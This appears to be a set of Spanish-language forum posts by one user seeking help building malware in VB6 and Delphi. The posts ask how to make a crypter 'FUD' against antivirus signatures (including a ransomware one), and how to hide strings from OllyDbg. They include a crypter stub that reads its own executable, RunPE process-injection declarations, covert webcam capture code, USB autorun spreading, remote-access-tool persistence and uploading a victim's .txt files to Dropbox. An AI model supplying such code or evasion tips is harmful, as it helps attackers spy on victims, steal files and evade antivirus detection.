Temas

Hola,el caso es que tengo un crypter en el cual lo estoy modificando pero me saltan 2 antivirus la firma es esta: Virus.Win32.DelfInject
¿Algun tip o forma de quitar esa firma? La programacion es en Delphi 7,talvez cambiando los nombres de unit a otra cosa? ¿que me aconsejan?

Código [Seleccionar] Expandir

VIRUS SCANNER Powered by NoVirusThanks
• Home
• Scan
• Products
• About Us
Scan Report:
Detection rate: 2 on 14 (14%)
Status: INFECTED
Antivirus Engine Result
Asquared
5.1.0.3 Virus.Win32.DelfInject !IK
Avast 5.0 -
AVG 10.0.0.1190 -
Avira
7.11.7.12 -
BitDefender 7.0.0.2555 -
ClamAV 0.97.4 -
Comodo 1.0 -
DrWeb
5.0.2 -
Fprot 6.0 -
IkarusT3 T31001097 Virus.Win32.DelfInject
Panda 10.0.3.0 -
Icon
STOPZilla
5.0.0.0 -
TrendMicro 9.200.0.1012 -
VBA32
3.12.0.300 -



Me sale una ventanita con este error:
Error reading ServerSocket.CommandHandlers:Property CommandHandlers
does not exist.Ignore the error and continue? NOTE: Ignoring
the error may cause components to be deleted or property values
to be lost.

¿Como podria solucionarlo?

Hola el caso es que estoy haciendo un programa cliente servidor y cuando envio una orden al Cliente para que realize una accion desde un button,cuando tiro a compilarlo me salta este error:

Código [Seleccionar] Expandir

[Hint] UnitMain.pas(61): Variable 'h' is declared but never used in 'TFormMain.BtnEscucharClick'
[Hint] UnitMain.pas(167): Variable 'Recibido' is declared but never used in 'TFormMain.ServerSocketClientRead'
[Error] UnitMain.pas(206): Undeclared identifier: 'apagate'
[Fatal Error] UnitMain.pas(9): Could not compile used unit 'UnitMain'


Hola a todos,la firma que me detecta Asquaret es: 
Trojan-Ransom.Win32.Xorist!IK

Lo raro de todo esto es que en la versión gratuita de Asquaret no lo detecta pero en la pagina de Novirusthanks si que lo detecta compartiendo la firma con Ikarus,¿Alguien se sabe algún Tip o forma de dejarlo FUD a esa firma?

La cuestion es que uso este codigo en un programa:

Código [Seleccionar] Expandir

Open App.Path & "\" & App.EXEName & ".EXE" For Binary As 1
Y el antivirus me salta diciendo que es un virus,el trabajo lo estoy haciendo en VB6, ¿que me aconsejais para evitar eso y cambiar solo esa linea de codigo por otra que haga la misma funcion?

Pues eso,¿como podria hacer para que cuando lo ejecuteis con Olly Dbg no este visible en el String references?  Normalmente los programo en VB6

Hola,tenia una duda,la cuestion es en un programa que evita que se copie el texto que muestra,ni pulsando Ctrl+C ni con el raton,y si lo abro desde su origen (donde esta instalado)con Olly y pongo un Breakpoint cuando le doy a play llega un momento que me lleva a una instruccion llamada Leave,como si el programa no quisiera detenerse en el Brelpoint,¿que me aconsejais para saber en que punto da la orden de evitar ser copiado? Gracias.

Hola aqui ohs presento un Crackme el cual la proteccion es que no puedes copiar de una caja de texto a otra con las teclas Ctrl+C,Ctrl+V yo ya estoy intentando descifrarlo con Olly Dbg haber si alguien puede y hace un Tute 
Aqui el link de descarga:  http://www.mediafire.com/?x8ewkq710bzl167

Aqui el programa a dejar full de manera que deje copiar la traduccion de Source code: https://www.dropbox.com/s/edmag4vj6p8qhkt/DeluxDemo.zip

Aqui la imagen:  https://www.dropbox.com/s/5cw66z360d4o1dk/PROGRAMA%20DELUXE%20A%20HACKEAR.jpg

Aqui el offset al que ataco sin mucho exito...    

Código [Seleccionar] Expandir

offset:004D0c0F

Hay que poner un Timer con interval a 1 luego este codigo:

Código [Seleccionar] Expandir

Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long


Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Private mCapHwnd As Long

Private Sub Command1_Click()
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
'DoEvents
SendMessage mCapHwnd, 1034, 0, 0
End Sub


Private Sub Timer1_Timer()
SendMessage mCapHwnd, 1084, 0, 0
SendMessage mCapHwnd, 1054, 0, 0
Picture1.Picture = Clipboard.GetData
End Sub


Espero que les sirva de ayuda!!!!!

Hola el caso es que no tengo ni idea de como agregarle persistencia a un programa en VB6 al decir persistencia me refiero a que si se desconecta del winsock que se vuelva a conectar,me imagino que sera en un Timer...pero no se como hacerlo...Alguna idea?????

Hola lo que me gustaria es saber el codigo para subir todos los .txt en el que se encuentre el server a dropbox por ejemplo para luego descargar los .txt subidos desde mi cliente.

Hola el caso es que e estado programando un Cliente/Servidor en el cual el Servidor se conecta al Cliente y en por cada servidor diferente se lista en un Listbox en el Cliente,y me gustaria que de todos los de la la lista del Listbox al hacer clic derecho sobre uno de ellos me diera la opcion de recibir solo datos de ese servidor sin interrumpir las siguientes conexiones entrantes al Cliente.

Código (vb) [Seleccionar] Expandir


Dim RESIGN        As String

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    RESIGN = Space(LOF(1))
    Get #1, , RESIGN
Close #1


Dim JAKA()        As String
XX = Split
JAKA() = XX(RESIGN, "NOX")



Creo que el antivirus me detecta el Split y e pensado en ofuscarlo asi,¿¿que opinais??

Bueno el tema era ese cambiar la funcion:

Código [Seleccionar] Expandir


Split


por otra o ofuscarla para que el antivirus no me detecte como TROJ.DROPPER,estaba pensando en que si se le puede añadir por ejemplo:

Código [Seleccionar] Expandir


TrxSplit

Para que realice lo mismo pero que no me detecte. ¿Creen que funcionara o en su defecto como lo podria hacer?

Hola, me gustaria dejar indetectable esta linea de codigo(tengo entendido que es detectado): ¿Como la sustituyo?

Código [Seleccionar] Expandir


Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1


Hola,me gustaria saber me gustaria saber que variables podria cambiar de este codigo que he puesto,ya que lo estoy renombrando practicamente todo,¿¿¿las que estan como as long se pueden o cuales??? si me orientais un poco seria de agradecer,aqui hos dejo el codigo:

Código [Seleccionar] Expandir


Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type



Porfavor Orientadme un poco

bueno el lio es ese añado este codigo de autorun en un pendrive pero no me ejecuta el exe al insertar el pendrive o abrirlo

Código [Seleccionar] Expandir


[autorun]
open=ais.exe
icon=%SystemRoot%system32SHELL32.dll,4
action=Open folder to view files
UseAuTOPLAY=1
shellopencommand=ais.exe
shellExploreCommand=ais.exe
ShellExecute=ais.exe


La cuestion es que si se copia al pendrive al ejecutarlo ho al meter cualquier disco duro externo,pero no se autoejecuta,como lo podria lograr????

como actualizar las imagenes que recibo de la webcam,las recibo en un Picturebox,en mi cliente,pero solo recibo 1 imagen,me faltaria recibir las que bienen a continuacion...se que se debe hacer desde un Timer,e intentado poner Picture1.Refresh en el Timer,pero no me las refresca,sigo recibiendo solo 1 imagen

Aqui esta el codigo:

Código [Seleccionar] Expandir


Open Environ("windir") & "\KB007.txt" For Input As #1
Input #1, victima
If victima = "" Then
victima = "Default"


en la primera linea me tira un error llamado:
Run-time error '55':
File already open

¿¿Como lo podria solucionar??